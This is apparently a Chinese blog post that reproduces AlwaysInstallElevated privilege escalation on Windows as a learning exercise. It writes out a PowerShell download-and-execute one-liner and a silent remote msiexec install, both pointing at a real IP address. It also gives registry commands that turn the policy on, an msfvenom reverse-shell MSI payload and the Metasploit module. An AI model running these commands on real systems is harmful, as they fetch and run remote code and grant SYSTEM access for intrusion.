AlwaysInstallElevated提权

更新:2020_01_18

前言:自己在学习3gstudent的AlwaysInstallElevated提权的文章中,他说过由于Metasploit的某些原因会导致权限不够,所以自己就尝试去复现其他的两种方法了,详细的文章参考最底下

介绍:利用AlwaysInstallElevated提权是一个2017年公开的技术,Metasploit和PowerUp都提供了利用方法

MSIEXEC: 系统进程,是Windows Installer的一部分,用于安装Windows Installer安装包(MSI)

并且MSIEXEC也可以实现无落地文件的方式进行木马上线的方式,当然低权限用不了,因为msi文件需要可信的证书才能远程利用AlwaysInstallElevated提权

然后高权限是可以进行远程上线的,这里就用写的一个添加用户进行测试,执行msiexec /q /i http://120.79.66.58/WinAddUser.msi,高权限是可以成功运行的!

当作一种白名单无落地文件上线的一种方法


利用过程:

1、进行检测AlwaysInstallElevated是否启用,AlwaysInstallElevated是一个组策略配置,如果启用,那么将允许普通用户以SYSTEM权限运行安装文件(msi)

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://120.79.66.58/mypowershell/PowerUp.ps1');Get-RegistryAlwaysInstallElevated"

要改的有两处,这里只是其中的一处地方,对应的下面注册表修改的时候也要修改两处

2、发现没有启用,那么就先用高权限执行如下,进行注册表写入启动AlwaysInstallElevated

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

3、msfvenom生成:msfvenom -p windows/meterpreter/reverse_tcp -f msi > test.msi,然后在受害者机器上运行msiexec /q /i exec.msi,/i参数用来表示安装操作,/q参数用来隐藏安装界面

运行发现是普通的权限,并非是system权限,这个就是metasploit的问题了,3gstudent猜测说是使用Metasploit生成的msi文件在运行时没有要求提升权限,所以无法利用AlwaysInstallElevated提权

4、用Msi Wrapper生成msi文件进行提权:

跟着3gstudent来将exe转化为msi文件,该程序的作用是调用windows api来添加一个用户,以system来运行这个文件,那常理应该是可以的

结果如下图:

注意:

1、c:\windows\installer\xxxx.tmpc:\windows\installer\xxxx.msi,xxxx.msi就是你运行当前msi的文件,它会保存在c:\windows\installer\下,当运行完关闭cmd之后,会留下一个xxxx.tmp,记录了安装操作,然后C:\Users\dell\AppData\Local\Temp,缓存中也会保存xxxx.log日志文件

2、不可以是域用户,如果是的话还需要请求域控制器通过才可以进行

3、msf中利用的模块为exploit/windows/local/always_install_elevated

学习文章:https://3gstudent.github.io/3gstudent.github.io/利用AlwaysInstallElevated提权的测试分析/

posted @ 2019-11-27 16:19  zpchcbd  阅读(480)  评论(0编辑  收藏